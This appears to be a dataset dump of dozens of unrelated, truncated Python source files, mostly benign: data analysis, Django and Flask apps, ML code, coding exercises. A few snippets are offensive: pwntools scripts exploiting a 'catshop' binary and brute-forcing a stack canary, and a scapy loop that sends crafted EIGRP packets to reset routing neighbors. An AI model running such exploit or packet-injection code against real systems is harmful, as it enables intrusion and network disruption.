text
stringlengths
38
1.54M
import pandas as pd import numpy as np import matplotlib.pyplot as plt avo = pd.read_csv("avocado.csv") _df = pd.read_csv("merge.csv") def plot_trend(region): plt.clf() avo[(avo.region == region) & (avo.type == "conventional")].AvgPrice.plot.line(label="conv") avo[(avo.region == region) & (avo.type == "...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Jul 11 15:06:05 2019 @author: Sergiy Horef """ #This is a swithcher class all it is doin is permanently changing #places of a keys in the letters dictionary class Switcher(): def __init__(self): self = self def switch(self, lett...
# -*- coding: utf-8 -*- # Generated by Django 1.9.6 on 2016-08-27 18:37 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cars', '0002_auto_20160827_2331'), ] operations = [ migrations.AddField( ...
from pwn import * #p = remote('211.117.60.76',8888) elf = ELF('./catshop') context(terminal = ['xterm', 'splitw']) p = process('catshop') #gdb = attach(p) p.send(p32(1)) p.send(p32(2)) p.send(p32(4)) p.send(p32(5)) p.send('\xb6\x88\x04\x08\x00') p.send(p32(3)) p.send(p32(3)) p.send(p32(3)) p.send(p32(3)) p.interacti...
from flask import Flask from flaskext.mysql import MySQL from flask import jsonify, json from flask import request from alg4 import TSP import query import firebase_admin import requests from firebase_admin import credentials, auth from operator import itemgetter import datetime import public_config app = Flask(__name_...
# coding: utf-8 # É dobro # (c) Héricles Emanuel, UFCG, Programação 1 num_1 = int(raw_input()) num_2 = int(raw_input()) if num_2 == num_1 / 2 or num_1 == num_2 / 2: print "SIM" else: print "NAO"
def hello(): print('hellooooo') def greet(): print('still here') def something(func): func() a = something(greet)
import numpy as np import tensorflow as tf from tensorflow.python.keras import models from sklearn.metrics import confusion_matrix # For validation on multiple scales from tensorflow.python.keras.preprocessing.image import ImageDataGenerator from tensorflow.python.keras.utils import Sequence ''' Callback for trainin...
from scipy.io import loadmat import numpy as np import pickle import pandas as pd news = loadmat('news.mat') def get_params(Xtr, Ytr): # finding w and b for each class Ytr = Ytr.flatten() theClasses = set(Ytr)#list of classes totCnt = len(Ytr) paramDict = {} for theClass in theClasses: idx = np.where(Ytr==the...
import os import threading from tkinter import * from tkinter import ttk from tkinter.font import Font from urllib.error import HTTPError from PIL import ImageTk from gevent.exceptions import LoopExit from Grafieken import DataScherm from EchoSensor import Sr04 from Loginbutton import LoginButton from Neopixel import...
dna_strand_1= "ATC-CGG-GAC-CAG-CIG-GCC-GTC" #TAG-GCC-CTG-GTC-GAC-CGG-CAG dna_strand_2 = "" for x in range(len(dna_strand_1)): char = dna_strand_1[x] print(char,end = "',") if char == "A": dna_strand_2 +="I" if char == "I": dna_strand_2 += "A" if char == "C": dna_strand_2 +...
from django.contrib import admin from .models import Customer, Shouhin, Accounting # Register your models here. admin.site.register(Customer) admin.site.register(Shouhin) admin.site.register(Accounting)
# -*- coding: utf-8 -*- """ For analysis of rising head slug tests Documentation: RSAT_0.2.2_usermanual.pdf Written in python 3.7 by Annabel Vaessens and Gert Ghysels January 2020 #""" import time import itertools import math import matplotlib.pyplot as plt import matplotlib.backends.backend_tkagg as pltb import nu...
import re class AdventOfCode: def __init__(self, filename): with open(filename) as f: self.input = f.read().splitlines() buses = self.input[1].split(',') self.times = [] for i, bus in enumerate(buses): if bus != 'x': self.times.append((i, i...
#my_dict ={key:value,key:value} my_dict ={"name":"Farjad","age":30,"gender":"Male"} print(len(my_dict)) print(my_dict.keys()) print(my_dict.get("name")) print(my_dict.values()) print(my_dict.items()) my_dict["email"]= "farjad@gmail.com" print(my_dict["email"]) my_dict["email"]= "ali@gmail.com" print(my_dict["email"]) #...
# adult.py import torch import scipy.io as sio import pytorch_lightning as pl from torch.utils.data import DataLoader class PrepareAdult(pl.LightningDataModule): def __init__(self, root, split): self.data = sio.loadmat(root + 'adult_binary.mat') if split == 'train': x = torch.from_nu...
from collections import deque class Shop: Max = 0 def __init__(self): self.Queue = deque() def add_Queue(self, object): if (len(self.Queue) == 10): return False else: self.Queue.append(object) return True def get_Queue(self): return ...
""" ############################################################################################################# Utilities for handling command-line arguments, and for parsing configuration files. The config files should be textual, in which each line can contain: - a comment, starting with char '#' - an emp...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.urls import reverse from django.contrib.auth.models import AbstractUser, Group from django.db.models import Q import datetime from django.db import models from .validators import * from .managers import * from django.core.exceptions import Vali...
import os import re import gensim import pickle from nltk.corpus import stopwords, wordnet from nltk.stem import WordNetLemmatizer from nltk.tokenize import word_tokenize from nltk.tag import pos_tag from datetime import datetime from gensim.models.doc2vec import Doc2Vec, TaggedDocument from sklearn.feature_e...
from datetime import datetime from django.contrib.auth.models import AbstractUser from django.db import models class User(AbstractUser): password = models.CharField(max_length=100, blank=True, null=True) bio = models.CharField(max_length=200, ...
""" URLIFY (CCI 1.3) Write a method to replace all spaces in a string with '%20'. You may assume that the string has sufficient space at the end to hold the additional characters, and that you are given the "true" length of the string. NOTE: If implementing in Java, please use a character array so th...
# coding: utf-8 # In[65]: import pandas as pd from sklearn.metrics import roc_auc_score, auc,roc_curve import numpy as np import xgboost as xgb import matplotlib.pyplot as plt import seaborn as sns from statsmodels.stats.outliers_influence import variance_inflation_factor from category_encoders import * #i=1 # In...
""" Leetcode Problem 007: Reverse Integer Author: Richard Coucoules Solved: 2019-12-04 """ class Solution: def reverse(self, x): intStr = str(x) negative = True if intStr[0] == '-' else False if negative: memStr = intStr[1:] else: memStr = intStr revI...
# Copyright (c) 2013 Hewlett-Packard Development Company, L.P. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICEN...
# Michael Gennery # DVD Database # August 2020 # Create Table import sqlite3 DVD_DB = sqlite3.connect('DVD_DB.db') DVD_cursor = DVD_DB.cursor() DVD_fields = """ create table DVD ( barcode int, -- Barcode name varchar, -- Name of Film cert varchar, -- Cert...
from django.shortcuts import render from django.http import HttpResponse # Create your views here. def index(response): return render(response, "dashboard/dshindex.html", {}) def pjDetails(response): return render(response, "dashboard/projectDetails.html", {})
from repository import * import heapq class Controller: def __init__(self, repository): self.__repository = repository def iteration(self, args): # args - list of parameters needed to run one iteration population = args[0] m = args[1] starting_node = args[2] p...
import pytest @pytest.fixture def samples(): return ( ''' “교육청 현장에서 다 하는 말이 현재 인력 구조에선 다른 감사를 줄이지 않는 한 사립유치원 감사에 비중을 두는 건 어렵지 않으냐고 얘기한다.”(한 교육청 관계자) “현 인력으론 유치원을 포함해 도내 학교를 모두 감사하려면 10년이 걸린다.”(다른 교육청 관계자) 교육부가 내년도 상반기까지 대규모 유치원 등을 대상으로 종합감사를 예고한 가운데 서울시교육청만 하더라도 감사인력이 불과 4명밖에 되지 않는 등 현장 인력이 턱없이 부족한 것으로 ...
from flask import jsonify, request, current_app from marshmallow import ValidationError from flask_jwt_extended import jwt_required, current_user from flask_jwt_extended import create_access_token, set_access_cookies from userlogin.api.v1 import V1FlaskView from userlogin.blueprints.user.models import User from userlo...
def test1(): print("test1 inform") return 0 def test2(): print("test2 inform") return {"zhangsan":'lisi',"wangwu":"zhaoliu"} x=test1() y=test2() print(x) print(y)
import scrapy import re from scrapy.loader import ItemLoader from scrapy.loader.processors import TakeFirst from ..items import MarchfelderebankItem pattern = r'(\r)?(\n)?(\t)?(\xa0)?' class SpiderSpider(scrapy.Spider): name = 'spider' start_urls = ['https://www.marchfelderbank.at/private/news'] def par...
import io import numpy as np from skimage.filters import threshold_otsu #import skimage.measure from scipy.ndimage.morphology import ( binary_erosion, binary_closing, binary_dilation, ) from scipy.ndimage.filters import median_filter from scipy.ndimage.measurements import label from stacktools import...
#A01022285 # Numerical Methods # August '18' import numpy as np import matplotlib.pyplot as plt def f(x): return x**3 - np.cos(x) def Df(x): return 3* x**2 + np.sin(x) x0 = 1; i = 1; error = 10; while error > 1e-6: x1 = x0 - f(x0) / Df(x0) error = abs(x1 - x0) x0 = x1 print("Iteracion", i, ",...
#!/usr/bin/env python import numpy as np import numba as nb import pyglet as pgl from pyglet.gl import * from time import perf_counter_ns as ns _Quadtree = nb.deferred_type() spec = [ ("NW", nb.optional(_Quadtree)), ("NE", nb.optional(_Quadtree)), ("SW", nb.optional(_Quadtree)), ("SE", nb.optional(...
from .CoreManager import CoreManager from .SceneManager import SceneManager from .ProjectManager import ProjectManager
#!/usr/bin/env python3 from client.quotes_reader import QuotesReader from client.items_reader import ItemsReader from client.gsheet_client import GSheetClient from notify.emailer import Emailer from conf_reader import ConfReader from review import Review import random from datetime im...
from rest_framework import generics, permissions from rest_framework.response import Response from knox.models import AuthToken #from .serializers import UserSerializer, RegisterSerializer from django.shortcuts import render from django.contrib.auth import login from rest_framework import permissions from re...
N, K = (int(x) for x in input().split()) A = list(int(x) for x in input().split()) ng, ok = 0, 10**18 while ok - ng > 1: m = (ok + ng) >> 1 t = sum(min(a, m) for a in A) if t >= K: ok = m else: ng = m K -= sum(min(a, ok-1) for a in A) for i in range(N): A[i] -= min(A[i], ok-1) i = 0 while K > 0: ...
from graph import Graph from faces import Face import polyhedra_generation from component import Component from component_node import ComponentNode import json import numpy as np class Polyhedron(object): def __init__(self, vertices=None, faces=None, filelist=None): """ initialize a polyhedron ei...
# -*- coding: utf-8 -*- # --- # jupyter: # jupytext: # formats: ipynb,py:light # text_representation: # extension: .py # format_name: light # format_version: '1.5' # jupytext_version: 1.5.2 # kernelspec: # display_name: Python 3 # language: python # name: python3 # --- i...
name = 'Brandon M. Taylor' age = 34 height = 69 # inches height_cm = height * 2.54 weight = 220 # totally a lie weight_kg = 220 * 0.45359237 eyes = 'Green' teeth = 'White' hair = "Brownish Red" print(f"Let's talk about {name}.") print(f"He's {height} inches tall.") print(f"He's {height_cm} centimeters tall...
from base64 import b64encode, b64decode from gzip import compress, decompress from json import dumps, loads from uuid import uuid4, UUID def is_valid_uuid(uuid_to_test: str, version: int = 4) -> bool: try: uuid_obj = UUID(uuid_to_test, version=version) except ValueError: return False retur...
import logging # Configurations from .configuration_bert import BERT_PRETRAINED_CONFIG_ARCHIVE_MAP, BertConfig from .configuration_utils import PretrainedConfig # Files and general utilities from .file_utils import ( CONFIG_NAME, MODEL_CARD_NAME, PYTORCH_PRETRAINED_BERT_CACHE, PYTORCH_TRANSFORMERS_CAC...
#! /usr/bin/python2.7 # -*- coding: utf-8 -*- from math import sqrt from sys import float_info as fi def heron(a, b, c): """Oblicza pole trojkata za pomoca wzoru Herona.""" if a < fi.epsilon or b < fi.epsilon or c < fi.epsilon: raise ValueError if a + b < c or a + c < b or b + c < a: rais...
from django.db import models class kvmtag(models.Model): hostname = models.CharField(max_length=20) ip = models.IPAddressField(max_length=50) ip1 = models.IPAddressField(max_length=50) ip2 = models.IPAddressField(max_length=50) location = models.CharField(max_length=50) osversion = models.CharF...
# -*- coding: utf-8 -*- ################################################################################# # # Odoo, Open Source Management Solution # Copyright (C) 2018-today Ascetic Business Solution <www.asceticbs.com> # # This program is free software: you can redistribute it and/or modify # it under the...
import pytest pytest_plugins = "pytester" # See https://github.com/spulec/moto/issues/3292#issuecomment-770682026 @pytest.fixture(autouse=True) def set_aws_region(monkeypatch): monkeypatch.setenv("AWS_DEFAULT_REGION", "us-east-1")
#!/usr/bin/env python3 # vim:tabstop=4:softtabstop=4:shiftwidth=4 import sys from argparse import ArgumentParser from argparse import FileType from argparse import Action import argparse from plot_functions import * from matplotlib import pyplot as plt from matplotlib import rc from matplotlib import widgets import ma...
import pandas as pd import random as rd import matplotlib.pyplot as plt from sqlalchemy import create_engine import datetime import time from learning_settings import Settings def read_sql_merged(ai_settings): """read data from sql database""" print("Enter Mysql") engine = create_engine(ai_settings.sql_p...
from flask import Blueprint, render_template from client.database import api userpage = Blueprint('userpage', __name__, template_folder='templates', static_folder='static') userpage_url = 'account.html' @userpage.route('/account', methods=['GET', 'POST']) def display_userpage(): myBookings = ap...
import os import librosa import numpy as np def load_data(): happy = [] sad = [] angry = [] fear = [] L = [] # Traversing through data for root, dirs, files in os.walk('data'): L.append(dirs) foldere = L[0] # print(foldere) for i in foldere: # print(i) ...
# https://leetcode.com/problems/flatten-binary-tree-to-linked-list/ # Given a binary tree, flatten it to a linked list in-place. # For example, given the following tree: # 1 # / \ # 2 5 # / \ \ # 3 4 6 # The flattened tree should look like: # 1 # \ # 2 # \ # 3 # \ # 4 # \ #...
import asyncio import time import pytest from tamarco.core.microservice import MicroserviceContext, task, task_timer @pytest.fixture def yaml_settings_ms_ctx(request, event_loop, inject_in_env_settings_file_path): ms_ctx = MicroserviceContext() event_loop.run_until_complete(ms_ctx.start()) yield ms_ctx ...
from math import sqrt def get_answer(length,level): if(length-2 == level): global num_of_answer if(num_of_answer > 0): for i in range(len(base_check)): base_check[i] = False for base in range(2,11): base_check[base-2] = check_prime(get_num(nu...
import pytest from PythonTesting.pytestsdemo.BaseClass import BaseClass @pytest.mark.usefixtures("dataLoad") class TestExample2(BaseClass): def editProfile(self,dataLoad): log=self.getLogger() #error bcoz if u want to return data to the specific test then u have to add parameter ...
class Tweet: def __init__(self,time,pos_words,neg_words,emojis,emoticons,retweet_count, favorite_count,listed_count,metion_count,follower_count_user, friend_count_user,total_favorite,total_posts): ##Each tweet self.time = time self.pos_words = pos_words ...
import time from urllib.parse import urlparse, parse_qs from threading import Thread from threading import Lock from .server import HttpServer from .configuration import Configuration from .scenario import Scenario from .clients.android import AndroidClient from .clients.ios import IosClient from .clients.osx import Os...
#!/usr/bin/env python2.6 # Copyright (c) 2010, Code Aurora Forum. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # Redistributions of source code must retain the above copyright # not...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models # Create your models here. class DeviceInfo(models.Model): dtype=models.CharField(max_length=12) dname=models.CharField(max_length=16,default='环泰设备') dmac=models.CharField(max_length=40) dbrand = models.CharFie...
# 筛选淘汰(过滤规则在这里修改) from CalobjValue import decodechrom def calfitValue(pop, chrom_length, max_value): """ 约束条件筛选 :param pop: 种群 :param chrom_length:基因编码长度 :param max_value: 最大值 :return: 过滤后种群 """ new_pop = [] for x in pop: if decodechrom(x[0], chrom_length, max_value) != 0 ...
max=-30000000 r="si" while r=="si" : valor = float (raw_input("Ingrese Valor:")) if valor>max : max=valor r=raw_input("Hay mas datos:") print max, "el mayor es:"
from django.urls import path from .views import contact_info,send app_name='contact' urlpatterns = [ path('',contact_info,name='contact'), path('sent/',send,name='sent'), ]
# 输入一棵二叉树的根节点,判断该树是不是平衡二叉树。如果某二叉树中任意节点的左右子树的深度相差不超过1,那么它就是一棵平衡二叉树。 # #   # # 示例 1: # # 给定二叉树 [3,9,20,null,null,15,7] # # 3 # / \ # 9 20 # / \ # 15 7 # 返回 true 。 # # 示例 2: # # 给定二叉树 [1,2,2,3,3,null,null,4,4] # # 1 # / \ # 2 2 # / \ # 3 3 # / \ # 4 4 # 返回 false 。 # # ...
#!/usr/bin/env python3 #Import time so we can set a sleep timer import time #Import scapy from scapy.all import * #Import EIGRP load_contrib('eigrp') #Create a loop for i in range (0, 50): #Send EIGRP packet to reset neighbor relationships. #Change the source IP address (src) to the correct IP address #Chan...
from flask import Flask, render_template, request, session, copy_current_request_context from DBcm import UseDataBase, ConnectionError, CredentialError, SQLError app1 = Flask(__name__) app1.config['dbconfig'] = {'host': '127.0.0.1', 'user': 'root', 'password': '228sanya228', ...
#Given an array nums and a value val, remove all instances #of that value in-place and return the new length. #Do not allocate extra space for another array, you must do this by #modifying the input array in-place with O(1) extra memory. #The order of elements can be changed. It doesn't matter what you leave beyond...
import sys, os path = os.getcwd() os.chdir('D') sys.path.append(os.path.join(path, "D")) import kbqa_main os.chdir('..') sys.path.remove(os.path.join(path, "D"))
#!/usr/bin/python import json import pymysql def json_serial(obj): return str(obj) result = {"error": "unknown"} try: with open("charge-controller.json", mode="r", encoding="utf-8") as data: chargeController = json.load(data) with open("db-config.json", "r") as f: db = json.load(f) c...
from flask import Flask from flask import render_template from flask import request import neuroid app = Flask(__name__) @app.route('/') def index(): return render_template("index.html") @app.route("/input", methods=["POST"]) def input(): umbr = float(request.form["umbrValue"]) beta = float(request.fo...
from pycep_correios import get_address_from_cep, WebService pergunta = input('Digite seu cep:\n') #VERIIFAR DADOS FORNECIDOS PELO USUARIO valida_dados = len(pergunta) while(valida_dados != 8): print('Cep incorrreto\n') pergunta = input('Digite seu cep novamente\n') valida_dados = len(pergunta)
#!/usr/bin/env python from pwn import * import string pico = 0 known_canary = 'IHwj' check = string.letters + "0123456789" # for char in check: # if pico: # r = process("./vuln") # else: # #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./pico32.libc.so.6")} # r = process("./bof3") # # gdb.attach(r, '...
from django.contrib import admin from django_summernote.admin import SummernoteModelAdmin # Register your models here. from .models import Meals,Category class MealsAdmin(SummernoteModelAdmin,admin.ModelAdmin): # instead of ModelAdmin summernote_fields = '__all__' list_display = ['name', 'preperation_time' ...
import base64 import sys import os, io import json import time import aiounittest import asyncio import unittest import aiohttp import numpy as np from match_image.do_handler import MatchImageIndexDelete from match_image.search_labels import SearchImageLabels from match_image import create_index from match_image import...
import clr clr.AddReference('ProtoGeometry') from Autodesk.DesignScript.Geometry import * clr.AddReference("RevitNodes") import Revit clr.ImportExtensions(Revit.Elements) clr.AddReference("RevitServices") import RevitServices from RevitServices.Persistence import DocumentManager from RevitServices.Transactions import...
import sys # 명령 매개 변수를 출력 print(sys.argv) print("ㅡㅡㅡ") # 컴퓨터 환경과 관련된 정보를 출력 print("get windows version :()", sys.getwindowsversion()) print("ㅡㅡㅡ") print("copyright :", sys.copyright) print("ㅡㅡㅡ") print("version :", sys.version) # 프로그램을 강제로 종료 sys.exit()
import numpy as np import cv2, os, math class ColorSystem: @staticmethod def grayscale(img): newImage = np.zeros((img.shape[0],img.shape[1],img.shape[2]), np.uint8) rows, columns, pixel = img.shape for i in range(rows): for j in range(columns): red = img[i]...
import pytest from seleniumbase import BaseCase from qa327_test.conftest import base_url from unittest.mock import patch from qa327.models import db, User from werkzeug.security import generate_password_hash, check_password_hash # Mock a sample user test_user = User( email='test_frontend@test.com', name='test...
import logging import asyncio logging.basicConfig(filename = "test3_log.txt", filemode = 'w', format='%(asctime)s: %(message)s', datefmt='%d-%b-%y %H:%M:%S', level=20) async def nested(value): await asyncio.sleep(value) logging.info("Logging Message.") async def main (): taskList = [] for i in range(4): taskL...
#!/usr/bin/python import random file = open('ejRandom.in', 'w+') for x in xrange(1,10000, 100): i = 0 while i < x: file.write(str(random.randrange(-x,x)) + ' ') i = i + 1 file.write('\n') file.close() file2 = open('ejPeorCaso.in', 'w+') for x in xrange(1,10000, 100): i = 0 if random.randrange(0,2) == ...
import random import csv def get_table_from_file(file_name): with open(file_name, "r") as file: lines = file.readlines() table = [element.replace("\n", "").split("!") for element in lines] return table def csv_reader(file_name): reader = csv.reader(open(file_name, 'r')) data = sum([i for...
''' Write a Python function to check whether a number is in a given range. ''' def check_range(num): if int(num) in range(0,11): print ("%s is in range from 0 to 10" % num) else: print ("%s is outside of the range from 0 to 10" % num) check_range(input("Enter the number: "))
import random print('가위바위보 게임입니다') l = ['가위','바위','보'] def gawi(): print(' * *') print(' * *') print(' * *') print(' * *') print(' ***') print(' ******') print(' ********') print(' *****') print(' ***') def bawi(): print('') print('') prin...
import os import torch import torchvision from torch import nn from torch.autograd import Variable from torch.utils.data import DataLoader from torchvision import transforms from torchvision.utils import save_image from torch.utils.data import TensorDataset import numpy as np from model import autoencoder from pprint ...
pi = 3.14 alphabet = [] for letter in range(97,123): alphabet.append(chr(letter)) data = input("Metin: ").lower().replace(" ", "") words=[] for word in range(len(data)): words.append(data[word]) message = [] for i in words: for j in alphabet: if(i == j): msg = alphabet.index(i) ...
class Node: def __init__(self, value): self.value = value self.next = None class Queue: def __init__(self): self.front = None self.rear = None def enqueue(self, value): node = Node(value) if not self.rear: self.front = node self.rear =...
import re from collections import defaultdict REGEX_TRUTH_FILE_ENTRY = r"(?P<tax_id>\d+)\t(?P<abs_abundance>\d+(?:\.\d*)?)\t(?P<rel_abundance>0\.\d+)?\t(?P<rank>[a-zA-Z]+)\t(?P<tax_name>.+)(?:\n|$)" def parse_truth_file(truth_file): """Parses a TSV truth file with the following format. Arguments: filename ...
# coding: utf-8 """ Reading and writing plain text files in IRBIS format. """ # pylint: disable=too-many-locals # pylint: disable=too-many-statements from typing import TYPE_CHECKING from irbis._common import ANSI, STOP_MARKER, safe_str from irbis.error import IrbisError from irbis.records import SubField, Field, Re...
from django.conf import settings from django.db import models from django.contrib.auth.models import User from models import Video, Note, UserProfile, Source from django.contrib import admin class CommonAdmin(admin.ModelAdmin): actions_on_top = True actions_on_bottom = True save_on_top = True list_f...
from cars import Cars def load_cars(): cars = [] cars_compact = {100 : {"category": "compact","model": "model1", "mileage": 1000},101 : {"category": "compact","model": "model1", "mileage": 2000},102 : {"category": "compact", "model": "model1", "mileage": 3000},103 : {"category": "compact", "model": "model1", "m...
""" Template for implementing QLearner (c) 2015 Tucker Balch """ import numpy as np import random as rand class QLearner(object): def __init__(self, \ num_states=100, \ num_actions = 4, \ alpha = 0.3, \ gamma = 0.9, \ rar = 0.9999999999, \ radr = 0.999999, \ ...
# -*- coding: utf-8 -*- import socket import sys from thread import * import newPackage import re reload(sys) sys.setdefaultencoding('utf-8') HOST = '' # Symbolic name meaning all available interfaces PORT = 8080 # Port Specified #Function for handling connections. This will be used to create threads def clientt...
from OpenGL.GL import * from OpenGL.GLU import * import transformations as tr from drawable import Drawable class Plane( Drawable ) : def __init__( self , size , m ) : Drawable.__init__( self ) self.size = map( lambda x : x*.5 , size ) self.m = m def draw( self ) : glMatrixMode(GL_MODELVIEW) glPushMat...
''' UniformlyRandomEdgeMST.py Created on Feb 18, 2013 @author: adrielklein This program will use Prim's algorithm to find the weight of a minimum spanning tree of a complete graph with n vertices, where the weight of each edge is a real number chosen uniformly at random from [0, 1]. ''' from random import uniform #R...
""" Librusec library settings """ # -*- coding: utf-8 -*- LIB_INDEXES = 'D:\\TEMP\\librusec' LIB_ARCHIVE = 'D:\\lib.rus.ec' TMP_DIR = 'd:\\temp'
print("Enter the number of the lsit one by one\n") # Take the size of list from the user size = int(input("Enter size of list\n")) # Initialize the blank list mylist = [] # Take the input from the user one by one for i in range(size): mylist.append(int(input(f"Enter {i+1} list element\n"))) # mylist = [7, 3, 2, 1]...
import argparse from BatchGenerator import batch_generator from Classifiers import hgnn from Classifiers import node2vec from Classifiers import hyper_sagnn from DataGenerator import generator from utils import utils import networkx as nx import numpy as np import scipy.io import torch from tqdm import tqdm np.rando...
import types import pytest from compute_max_sum import compute_max_sum class TestComputeMaxSum(object): def test_compute_max_sum_is_a_function(self): assert isinstance(compute_max_sum, types.FunctionType) == True def test_compute_max_sum_returns_the_correct_awnser_with_triangle_1(self): asser...
#!/usr/bin/env python """ Create the word-pair segments file used for imposing weak top-down constraints. Run from ../ directory. Author: Herman Kamper Contact: kamperh@gmail.com Date: 2014-2015 """ import argparse import datetime import os import sys #-------------------------------------------------------------...
from django.shortcuts import render from rest_framework.decorators import api_view,renderer_classes from django.views.decorators.csrf import csrf_exempt from django.db import transaction from apis.models import * from apis.serializers import * from rest_framework.response import Response from rest_framework import s...